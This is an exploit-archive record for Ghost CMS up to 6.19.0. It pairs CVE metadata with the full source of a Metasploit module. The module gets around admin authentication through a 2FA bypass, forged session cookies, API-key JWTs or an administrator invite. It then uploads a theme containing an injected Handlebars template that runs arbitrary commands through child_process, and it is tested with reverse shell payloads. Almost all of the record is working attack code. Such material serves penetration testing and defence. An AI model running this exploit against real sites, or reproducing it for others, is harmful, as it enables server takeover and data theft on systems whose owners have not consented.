{"exploit":{"id":"EDB-52676","name":"Ghost_CMS 6.19.0 - Remote Code Execution (RCE) (Metasploit)","description":"Ghost_CMS 6.19.0 - Remote Code Execution (RCE) (Metasploit)","cves":["CVE-2026-29053","CVE-2026-22594"],"author":"Maksim Rogov","published":"2026-09-02","platform":"multiple","type":"webapps","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52676","path":"exploits/multiple/webapps/52676.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52676.rb","vulnerabilities":[{"id":"CVE-2026-29053","state":"PUBLISHED","title":"Ghost Vulnerable to Remote Code Execution via Malicious Themes","titleSource":"CVE Program","description":"Ghost is a Node.js content management system. From version 0.7.2 to 6.19.0, specifically crafted malicious themes can execute arbitrary code on the server running Ghost. This issue has been patched in version 6.19.1.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-29053","cvss":{"version":"3.1","baseScore":7.7,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-29053"},"updatedAt":"2026-03-05T15:29:27.533Z","retrievedAt":"2026-11-25T16:13:34.016Z","stale":false,"error":null},{"id":"CVE-2026-22594","state":"PUBLISHED","title":"Ghost has Staff 2FA bypass","titleSource":"CVE Program","description":"Ghost is a Node.js content management system. In versions 5.105.0 through 5.130.5 and 6.0.0 through 6.10.3, a vulnerability in Ghost's 2FA mechanism allows staff users to skip email 2FA. This issue has been patched in versions 5.130.6 and 6.11.0.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-22594","cvss":{"version":"3.1","baseScore":8.1,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-22594"},"updatedAt":"2026-01-12T17:53:57.181Z","retrievedAt":"2026-11-25T16:13:34.018Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52676.png?v=2","url":"https://exploitbin.com/exploits/EDB-52676","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52676/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52676/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Ghost_CMS 6.19.0  - Remote Code Execution\n# Date: 08/07/2026\n# Exploit Author: Maksim Rogov\n# Vendor Homepage: https://ghost.org/\n# Software Link: https://ghost.org/\n# Version: >= 0.7.2, <= 6.19.0\n# Tested on: Ubuntu 18.0.4 | Windows 10\n# CVE : CVE-2026-29053\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'zip'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  VECTORS = {\n    tag: {\n      template_name: 'tag-{{SLUG}}.hbs',\n      creator: :create_post,\n      trigger: :get_tag,\n      cleaner: :delete_post\n    },\n    page: {\n      template_name: 'page-{{SLUG}}.hbs',\n      creator: :create_page,\n      trigger: :get_page,\n      cleaner: :delete_page\n    },\n    author: {\n      template_name: 'author-{{SLUG}}.hbs',\n      creator: :pick_random_author,\n      trigger: :get_author_by_slug,\n      cleaner: nil\n    }\n  }.freeze\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Ghost CMS Remote Code Execution',\n        'Description' => %q{\n          This module exploits a Remote Code Execution (RCE) vulnerability in Ghost CMS.\n          Specifically crafted malicious themes can execute arbitrary code on the server running Ghost.\n\n          The affected versions include all releases from 0.7.2 up to and including 6.19.0.\n          For versions 5.105.0-5.130.5 and 6.0.0-6.10.3, the module also leverages a 2FA bypass.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Maksim Rogov', # Metasploit Module\n          'Cristian-Alexandru Staicu' # Vulnerability Discovery\n        ],\n        'References' => [\n          ['CVE', '2026-29053'],\n          ['CVE', '2026-22594'],\n          ['URL', 'https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x']\n        ],\n        'Arch' => [ARCH_CMD],\n        'Targets' => [\n          [\n            'Ghost >= 0.7.2, <= 6.19.0 / Unix payload',\n            {\n              'Platform' => ['unix', 'linux']\n              # Tested with cmd/unix/reverse_bash\n              # Tested with cmd/unix/reverse_nodejs\n            }\n          ],\n          [\n            'Ghost >= 0.7.2, <= 6.19.0 / Windows payload',\n            {\n              'Platform' => ['windows']\n              # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2026-03-02',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'Path to the Ghost CMS App', '/']),\n        OptString.new('EMAIL', [ false, 'The email used for login or to receive the admin invitation']),\n        OptString.new('PASSWORD', [ false, 'The password for the specified email (not needed for API-based invite)']),\n        OptString.new('TOTP_CODE', [false, 'The 6-digit 2FA verification code required for TOTP flow']),\n        OptString.new('INVITE_LINK', [false, 'Full invitation activation link from the email message']),\n        OptString.new('ADMIN_API_KEY_ID', [ false, 'The ID of the Admin API key']),\n        OptString.new('ADMIN_API_SECRET', [ false, 'The secret associated with the Admin API key']),\n        OptString.new('GHOST_API_ADMIN_SESSION', [ false, 'The ghost-admin-api-session cookie']),\n        OptString.new('ADMIN_SESSION_SECRET', [ false, 'The database session secret to sign admin cookies']),\n        OptString.new('ADMIN_SESSION_ID', [ false, 'The plain session ID to be signed with the session secret']),\n        OptInt.new('DELAY', [ true, 'Delay (in seconds) before resetting the execution lock, preventing repeated payload execution', 60]),\n        OptEnum.new('ACTION', [true, 'Authentication method', 'PASSWORD', ['PASSWORD', 'SESSION_SECRET', 'API_KEY', 'COOKIE', 'INVITE']])\n      ]\n    )\n  end\n\n  def ghost_request_cgi(method, endpoint, data: nil, params: nil, ctype: 'application/json')\n    headers = {}\n    headers['Authorization'] = \"Ghost #{@jwt_token}\" if @jwt_token\n    headers['Cookie'] = \"ghost-admin-api-session=#{@ghost_admin_api_session}\" if @ghost_admin_api_session\n\n    proto = ssl ? 'https' : 'http'\n    target_origin = \"#{proto}://#{rhost}:#{rport}\"\n    headers['Origin'] = target_origin\n\n    request_data = (ctype == 'application/json' && data.is_a?(Hash)) ? data.to_json : data\n    res = send_request_cgi({\n      'method' => method,\n      'uri' => normalize_uri(target_uri.path, 'ghost', 'api', 'admin', endpoint),\n      'headers' => headers,\n      'ctype' => ctype,\n      'vars_get' => params,\n      'data' => request_data,\n      'keep_cookies' => true\n    })\n\n    if res.nil?\n      print_error(\"Connection failed during #{method} to #{endpoint}\")\n      return nil\n    end\n\n    if res.code >= 400\n      json_body = res.get_json_document\n      if json_body.is_a?(Hash) && json_body['errors']\n        error = json_body.dig('errors', 0)\n        ctx = error.is_a?(Hash) ? error['context'] : nil\n\n        print_error(\"Ghost Error (#{res.code}). #{ctx}\")\n      end\n    end\n\n    res\n  end\n\n  def create_post(title, slug, tags = nil)\n    res = ghost_request_cgi('POST', 'posts/', data: {\n      posts: [\n        {\n          title: title,\n          slug: slug,\n          tags: tags,\n          status: 'published',\n          visibility: 'public'\n        }\n      ]\n    })\n    res&.get_json_document&.dig('posts', 0, 'id')\n  end\n\n  def create_page(title, slug, *_args)\n    res = ghost_request_cgi('POST', 'pages/', data: {\n      pages: [\n        {\n          title: title,\n          slug: slug,\n          status: 'published',\n          visibility: 'public'\n        }\n      ]\n    })\n    res&.get_json_document&.dig('pages', 0, 'id')\n  end\n\n  def create_rex_archive(binary_archive)\n    zip = Rex::Zip::Archive.new\n\n    Zip::File.open_buffer(binary_archive) do |z|\n      z.each do |f|\n        zip.entries << Rex::Zip::Entry.new(\n          f.name,\n          (f.ftype == :file ? z.read(f) : ''),\n          Rex::Zip::CM_DEFLATE,\n          nil,\n          (Rex::Zip::EFA_ISDIR if f.ftype == :directory)\n        )\n      end\n    end\n\n    zip\n  end\n\n  def download_theme(name)\n    res = ghost_request_cgi('GET', \"themes/#{name}/download/\")\n    res.body\n  end\n\n  def upload_theme(theme_name, zip_binary)\n    mime = Rex::MIME::Message.new\n    mime.add_part(zip_binary, 'application/zip', 'binary', \"form-data; name=\\\"file\\\"; filename=\\\"#{theme_name}.zip\\\"\")\n\n    res = ghost_request_cgi('POST', 'themes/upload/',\n                            data: mime.to_s,\n                            ctype: \"multipart/form-data; boundary=#{mime.bound}\")\n\n    fail_with(Msf::Module::Failure::UnexpectedReply, \"#{peer} - Theme upload failed: no response received\") unless res\n\n    json_body = res.get_json_document\n    errors = json_body.is_a?(Hash) ? json_body['errors'] : nil\n    error_message = if errors.is_a?(Array) && !errors.empty?\n                      errors.map { |error| error.is_a?(Hash) ? error['message'] || error.inspect : error.to_s }.join(', ')\n                    end\n\n    unless res.code.between?(200, 299) && error_message.nil?\n      message = \"#{peer} - Theme upload failed (HTTP #{res.code})\"\n      message = \"#{message}: #{error_message}\" if error_message\n      fail_with(Msf::Module::Failure::UnexpectedReply, message)\n    end\n\n    res\n  end\n\n  def get_malicious_template\n    delay_seconds = datastore['DELAY']\n    delay_ms = delay_seconds * 1000\n    resource = ['posts', 'pages', 'tags', 'authors', 'tiers'].sample\n    filter = ['id', 'name', 'slug'].sample\n\n    # prevents multiple concurrent executions using a global lock\n    lock_var = Rex::Text.rand_text_alpha_lower(1..16)\n\n    js_bytes = \"String.fromCharCode(#{payload.encoded.bytes.join(',')})\"\n    js_payload = \"return global.#{lock_var}?0:(global.#{lock_var}=1,process.mainModule.require('child_process').exec(#{js_bytes},{detached:1},()=>setTimeout(()=>global.#{lock_var}=0,#{delay_ms})))\"\n    [\n      '{{!< default}}',\n      \"{{#get \\\"#{resource}\\\" filter=\\\"#{filter}:{{@site[?( ({__proto__:\\\\\\\"\\\\\\\".toString})[\\\\\\\"constructor\\\\\\\"](\\\\\\\"#{js_payload}\\\\\\\")() )]}}\\\" limit=\\\"1\\\"}}\",\n      '{{/get}}'\n    ].join(\"\\n\")\n  end\n\n  def delete_theme(name)\n    res = ghost_request_cgi('DELETE', \"themes/#{name}/\")\n    res&.code == 204\n  end\n\n  def get_users(include: nil)\n    params = {}\n    params['include'] = include if include.present?\n\n    res = ghost_request_cgi('GET', 'users/', params: params)\n    res&.get_json_document&.dig('users')\n  end\n\n  def delete_post(post_id)\n    res = ghost_request_cgi('DELETE', \"posts/#{post_id}/\")\n    res&.code == 204\n  end\n\n  def delete_page(page_id)\n    res = ghost_request_cgi('DELETE', \"pages/#{page_id}/\")\n    res&.code == 204\n  end\n\n  def delete_invite(invite_id)\n    res = ghost_request_cgi('DELETE', \"invites/#{invite_id}/\")\n    res&.code == 204\n  end\n\n  def check_existing_session\n    if datastore['GHOST_API_ADMIN_SESSION'].present?\n      print_status('Found GHOST_API_ADMIN_SESSION in datastore. Validating session...')\n      @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s\n      if get_config.present?\n        return true\n      else\n        print_error('Session is invalid: Incorrect cookie or 2FA code is required.')\n      end\n    end\n    @ghost_admin_api_session = nil\n    false\n  end\n\n  def verify_totp_code\n    unless datastore['TOTP_CODE'] =~ /^\\d{6}$/\n      fail_with(Msf::Module::Failure::BadConfig, 'The TOTP_CODE must be exactly 6 digits.')\n    end\n\n    if datastore['GHOST_API_ADMIN_SESSION'].blank?\n      fail_with(Msf::Module::Failure::BadConfig, 'Missing GHOST_API_ADMIN_SESSION. Cannot verify TOTP without the previous session cookie.')\n    end\n\n    print_status(\"Submitting verification code from datastore: #{datastore['TOTP_CODE']}...\")\n    @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s\n\n    res_verify = ghost_request_cgi('PUT', 'session/verify', data: {\n      token: datastore['TOTP_CODE']\n    })\n\n    if res_verify&.code == 200 || res_verify&.code == 201\n      print_good('2FA verification successful! Session established.')\n      save_session_cookie(res_verify)\n      return true\n    elsif res_verify&.code == 401\n      print_error('2FA verification failed. The code entered is incorrect.')\n      return false\n    else\n      print_error(\"Verification failed. Server responded with HTTP status: #{res_verify&.code}\")\n      return false\n    end\n  end\n\n  def authenticate_with_password(email, password)\n    print_status(\"Authenticating via session (user: #{email})...\")\n    json_data = {\n      username: email,\n      password: password\n    }\n\n    # CVE-2026-22594 Staff 2FA bypass\n    if Rex::Version.new(@version).between?(Rex::Version.new('6.0.0'), Rex::Version.new('6.10.3')) || Rex::Version.new(@version).between?(Rex::Version.new('5.105.0'), Rex::Version.new('5.130.5'))\n      print_status(\"Target version #{@version} is vulnerable to 2FA bypass (CVE-2026-22594). Attempting to exploit...\")\n      json_data[:skipEmailVerification] = true\n    end\n\n    res = ghost_request_cgi('POST', 'session', data: json_data)\n\n    if res.nil?\n      print_error('No response received from the server during login.')\n      return false\n    end\n\n    case res.code\n    when 200, 201\n      print_good('Session established via password successfully.')\n      save_session_cookie(res)\n      return true\n    when 404\n      print_error('User not found or login endpoint does not exist.')\n      return false\n    else\n      if res.body =~ /2FA_NEW_DEVICE_DETECTED/\n        save_session_cookie(res)\n        print_warning('The server requires a 2FA email verification code (2FA_NEW_DEVICE_DETECTED).')\n        fail_with(Msf::Module::Failure::BadConfig, 'Please run: \"set TOTP_CODE <6-digits>\", and run again.')\n      end\n\n      print_error(\"Login failed! Response code: #{res.code}\")\n      false\n    end\n  end\n\n  def save_session_cookie(response)\n    raw_cookies = response.get_cookies\n    if raw_cookies.present? && raw_cookies =~ /ghost-admin-api-session=([^;]+)/\n      captured_cookie = Regexp.last_match(1)\n      framework.datastore['GHOST_API_ADMIN_SESSION'] = captured_cookie\n      @ghost_admin_api_session = captured_cookie\n    end\n  end\n\n  def do_login(email, password)\n    if check_existing_session\n      print_good('Valid active session detected via cookie. Skipping authentication steps.')\n      return true\n    end\n\n    if datastore['TOTP_CODE'].present?\n      return verify_totp_code\n    end\n\n    authenticate_with_password(email, password)\n  end\n\n  def build_archive_from_directory(directory_path)\n    archive = Rex::Zip::Archive.new\n\n    Dir.glob(File.join(directory_path, '**', '*')).each do |path|\n      relative_path = path.sub(\"#{directory_path}/\", '')\n\n      if File.file?(path)\n        archive.add_file(relative_path, File.read(path))\n      elsif File.directory?(path)\n        archive.add_file(relative_path, nil, recursive: true)\n      end\n    end\n\n    archive\n  end\n\n  def get_active_theme\n    res = ghost_request_cgi('GET', 'themes/active/')\n    res&.get_json_document&.dig('themes', 0)\n  end\n\n  def prepare_base_theme\n    if datastore['ACTION'] == 'API_KEY'\n      print_status('Using local template theme for JWT-based attack...')\n      theme_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-29053', 'theme')\n\n      build_archive_from_directory(theme_path)\n    else\n      active_theme = get_active_theme\n      fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') unless active_theme.is_a?(Hash)\n\n      @default_theme = active_theme&.dig('name')\n      fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') if @default_theme.nil?\n\n      print_status(\"Downloading active theme \\\"#{@default_theme}\\\" from server...\")\n      theme_data = download_theme(@default_theme)\n      fail_with(Failure::UnexpectedReply, \"Failed to download theme: #{@default_theme}\") if theme_data.nil? || theme_data.empty?\n\n      create_rex_archive(theme_data)\n    end\n  end\n\n  def activate_theme(theme_name)\n    res = ghost_request_cgi('PUT', \"themes/#{theme_name}/activate/\")\n    res&.code == 200\n  end\n\n  def inject_payload(base_archive, template_pattern, slug)\n    target_filename = template_pattern.gsub('{{SLUG}}', slug)\n\n    payload_content = get_malicious_template\n\n    print_status(\"Injecting payload into: #{target_filename}\")\n    base_archive.add_file(target_filename, payload_content)\n    base_archive.pack\n  end\n\n  def pick_random_author(*_args)\n    users = get_users(include: 'count.posts')\n    fail_with(Failure::UnexpectedReply, 'Could not retrieve any authors from Ghost') if users.nil? || users.empty?\n\n    active_users = users.select do |user|\n      post_count = user.dig('count', 'posts').to_i\n      post_count >= 1\n    end\n\n    active_users.sample['slug']\n  end\n\n  def get_author_by_slug(slug)\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'author', slug.to_s, '')\n    )\n    fail_with(Msf::Module::Failure::UnexpectedReply, \"#{peer} - Unexpected HTTP response: status #{res&.code}\") unless res&.code == 200\n  end\n\n  def get_page(slug)\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, slug.to_s, '')\n    )\n    fail_with(Msf::Module::Failure::UnexpectedReply, \"#{peer} - Unexpected HTTP response: status #{res&.code}\") unless res&.code == 200\n  end\n\n  def get_tag(slug)\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'tag', slug.to_s, '')\n    )\n    fail_with(Msf::Module::Failure::UnexpectedReply, \"#{peer} - Unexpected HTTP response: status #{res&.code}\") unless res&.code == 200\n  end\n\n  def issue_jwt(key_id, secret)\n    iat = Time.now.to_i\n    payload = {\n      iat: iat,\n      exp: iat + 5 * 60,\n      aud: '/admin/'\n    }\n    secret_bytes = [secret].pack('H*')\n    Msf::Exploit::Remote::HTTP::JWT.encode(\n      JSON.generate(payload),\n      secret_bytes,\n      'HS256',\n      { kid: key_id }\n    )\n  end\n\n  def get_roles\n    res = ghost_request_cgi('GET', '/roles/')\n    return nil unless res&.code == 200\n\n    res&.get_json_document&.dig('roles')\n  end\n\n  def invite_user(email, role_name)\n    allowed_roles = %w[Administrator Editor Contributor Author]\n\n    unless allowed_roles.include?(role_name)\n      fail_with(Failure::BadConfig, \"Invalid role: #{role_name}\")\n    end\n\n    roles = get_roles\n    role_id = roles.find { |role| role['name'] == role_name }['id']\n\n    res = ghost_request_cgi('POST', '/invites/', data: {\n      invites: [\n        {\n          role_id: role_id,\n          email: email\n        }\n      ]\n    })\n    unless res&.code == 201\n      fail_with(Failure::UnexpectedReply, \"#{peer} - Failed to send invitation to #{email}\")\n    end\n    res&.get_json_document&.dig('invites', 0)\n  end\n\n  def activate_invite(token, name, email, password)\n    res = ghost_request_cgi('POST', '/authentication/invitation/', data: {\n      invitation: [\n        {\n          name: name,\n          email: email,\n          password: password,\n          token: token\n        }\n      ]\n    })\n\n    res&.code == 200\n  end\n\n  def handle_successful_activation(email, password)\n    print_good(\"Account activated successfully: #{email} : #{password}\")\n    @account_created = true\n    @invite_id = nil\n    authenticate_with_password(email, password)\n  end\n\n  def auth_with_invite\n    @jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET'])\n    email = datastore['EMAIL']\n\n    unless datastore['INVITE_LINK'].present?\n      @invite_id = invite_user(email, 'Administrator')&.dig('id')\n      print_warning(\"An invitation has been sent to #{email}.\")\n      print_warning('Please check the inbox, copy the \"Click here to activate your account\" link, and paste it here.')\n      fail_with(Msf::Module::Failure::BadConfig, 'Please run: \"set INVITE_LINK <full_link>\", and run again.')\n    end\n\n    name = Faker::Name.unique.name\n    pass = Faker::Internet.password(min_length: 10, mix_case: true, special_characters: true)\n    token = URI.parse(datastore['INVITE_LINK']).path.split('/').last\n\n    if activate_invite(token, name, email, pass)\n      handle_successful_activation(email, pass)\n    else\n      fail_with(Msf::Module::Failure::UnexpectedReply, 'Activation failed and fallback authentication failed. The token might be invalid or expired.')\n    end\n  end\n\n  def auth_with_jwt\n    @jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET'])\n\n    @jwt_token.present?\n  end\n\n  def get_user_id(email)\n    users = get_users\n    return nil if users.nil?\n\n    user = users.find { |user| user['email'] == email }\n    user ? user['id'] : nil\n  end\n\n  def delete_user(email)\n    user_id = get_user_id(email)\n    return false unless user_id\n\n    res = ghost_request_cgi('DELETE', \"users/#{user_id}/\")\n    res && res.code == 200\n  end\n\n  def get_config\n    res = ghost_request_cgi('GET', 'config/')\n    res&.get_json_document&.dig('config')\n  end\n\n  def sign_ghost_admin_session(secret, session_id)\n    hmac = OpenSSL::HMAC.digest('SHA256', secret, session_id)\n    signature = Base64.strict_encode64(hmac).gsub(/=+$/, '')\n\n    raw_cookie = \"s:#{session_id}.#{signature}\"\n    Rex::Text.uri_encode(raw_cookie).gsub(/%[0-9a-f]{2}/, &:upcase)\n  end\n\n  def auth\n    action = datastore['ACTION']\n\n    required_params = case action\n                      when 'PASSWORD' then ['EMAIL', 'PASSWORD']\n                      when 'API_KEY' then ['ADMIN_API_KEY_ID', 'ADMIN_API_SECRET']\n                      when 'INVITE' then ['EMAIL', 'ADMIN_API_KEY_ID', 'ADMIN_API_SECRET']\n                      when 'SESSION_SECRET' then ['ADMIN_SESSION_SECRET', 'ADMIN_SESSION_ID']\n                      when 'COOKIE' then ['GHOST_API_ADMIN_SESSION']\n                      when nil, ''\n                        fail_with(Failure::BadConfig, 'ACTION parameter is missing. Please set ACTION to one of: PASSWORD, API_KEY, INVITE, SESSION_SECRET, COOKIE')\n                      else\n                        fail_with(Failure::BadConfig, \"Invalid ACTION: #{action}\")\n                      end\n\n    missing = required_params.select { |p| datastore[p].blank? }\n    if missing.any?\n      fail_with(Failure::BadConfig, \"Authentication via \\\"#{action}\\\" requires parameters: #{required_params.join(', ')}. (Missing: #{missing.join(', ')})\")\n    end\n\n    auth_success = case action\n                   when 'PASSWORD'\n                     do_login(datastore['EMAIL'], datastore['PASSWORD'])\n                   when 'API_KEY'\n                     print_status('Authenticating via Pure API Key (JWT generation)...')\n                     auth_with_jwt\n                   when 'INVITE'\n                     print_status('Authenticating via Invitation Flow...')\n                     auth_with_invite\n                   when 'SESSION_SECRET'\n                     print_status(\"Signing session cookie using provided secret for Session ID: #{datastore['ADMIN_SESSION_ID']}...\")\n                     @ghost_admin_api_session = sign_ghost_admin_session(datastore['ADMIN_SESSION_SECRET'], datastore['ADMIN_SESSION_ID'])\n                     !get_config.nil?\n                   when 'COOKIE'\n                     print_status('Authenticating via GHOST_API_ADMIN_SESSION cookie...')\n                     @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION']\n                     !get_config.nil?\n                   end\n\n    if auth_success\n      print_good('Authentication successful!')\n    else\n      fail_with(Failure::NoAccess, \"Authentication failed for ACTION \\\"#{action}\\\": Unable to establish a session. Verify your credentials/tokens.\")\n    end\n  end\n\n  def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path)\n    )\n    return CheckCode::Unknown(\"#{peer} - Unexpected HTTP response: status #{res&.code}\") unless res&.code == 200\n\n    html = res&.get_html_document\n    ghost_tag = html.at('meta[name=\"generator\"][content^=\"Ghost\"]')\n\n    raw_content = ghost_tag&.[]('content')\n    return CheckCode::Unknown(\"#{peer} - Ghost generator meta tag not found\") unless ghost_tag\n\n    # keep only digits and dots\n    @version = Rex::Version.new(raw_content.gsub(/[^\\d.]/, ''))\n    return CheckCode::Appears(\"Detected version #{@version}, which is vulnerable\") if Rex::Version.new(@version).between?(Rex::Version.new('0.7.2'), Rex::Version.new('6.19.0'))\n\n    CheckCode::Safe(\"Detected version #{@version}, which is not vulnerable\")\n  end\n\n  def cleanup\n    super\n\n    if @default_theme && @malicious_theme_name\n      print_status('Reverting to default theme...')\n      activate_theme(@default_theme) ? print_good(\"Successfully reverted to theme: #{@default_theme}\") : print_error(\"Failed to revert to theme: #{@default_theme}\")\n\n      print_status('Removing malicious theme...')\n      delete_theme(@malicious_theme_name) ? print_good(\"Successfully removed malicious theme: #{@malicious_theme_name}\") : print_error(\"Failed to remove malicious theme: #{@malicious_theme_name}\")\n    end\n\n    if @content_id && @vector && @vector[:cleaner]\n      print_status('Removing content...')\n      send(@vector[:cleaner], @content_id) ? print_good(\"Successfully removed content: #{@vector_key} #{@content_id}\") : print_error(\"Failed to remove content: #{@vector_key} #{@content_id}\")\n    end\n\n    if @invite_id && datastore['INVITE_LINK'].present?\n      print_status('Removing invitation...')\n      delete_invite(@invite_id) ? print_good('Invitation removed successfully') : print_error('Failed to delete the invitation')\n    end\n\n    if @account_created\n      print_status('Removing temporary account...')\n\n      auth_with_jwt || (print_error('Unable to authorize via API keys to delete the user') && return)\n      delete_user(datastore['EMAIL']) ? print_good('The temporary account removed successfully') : print_error('Failed to delete the temporary account')\n    end\n  end\n\n  def exploit\n    auth\n\n    @vector_key = VECTORS.keys.sample\n    @vector = VECTORS[@vector_key]\n\n    if @vector_key == :author\n      @trigger_slug = send(@vector[:creator])\n    else\n      @trigger_slug = Rex::Text.rand_text_alpha_lower(4..16)\n      @content_id = send(@vector[:creator], @trigger_slug, @trigger_slug, [@trigger_slug])\n    end\n\n    @malicious_theme_name = Rex::Text.rand_text_alpha_lower(4..16)\n\n    base_archive = prepare_base_theme\n    if base_archive.nil?\n      fail_with(Failure::BadConfig, 'Base archive could not be initialized')\n    end\n\n    infected_zip = inject_payload(base_archive, @vector[:template_name], @trigger_slug)\n    print_status(\"Uploading infected theme: #{@malicious_theme_name}\")\n    upload_theme(@malicious_theme_name, infected_zip)\n    activate_theme(@malicious_theme_name)\n\n    print_status('Triggering payload...')\n    send(@vector[:trigger], @trigger_slug)\n  end\n\nend","sha256":"ebcc95aa4282fe5d1b698bf42b05019fdd5a938d70fe945fa4e2e31ed41c4387","bytes":25017,"fetchedAt":"2026-11-25T10:17:06.757Z","encoding":"utf-8 (display only; download retains original bytes)"}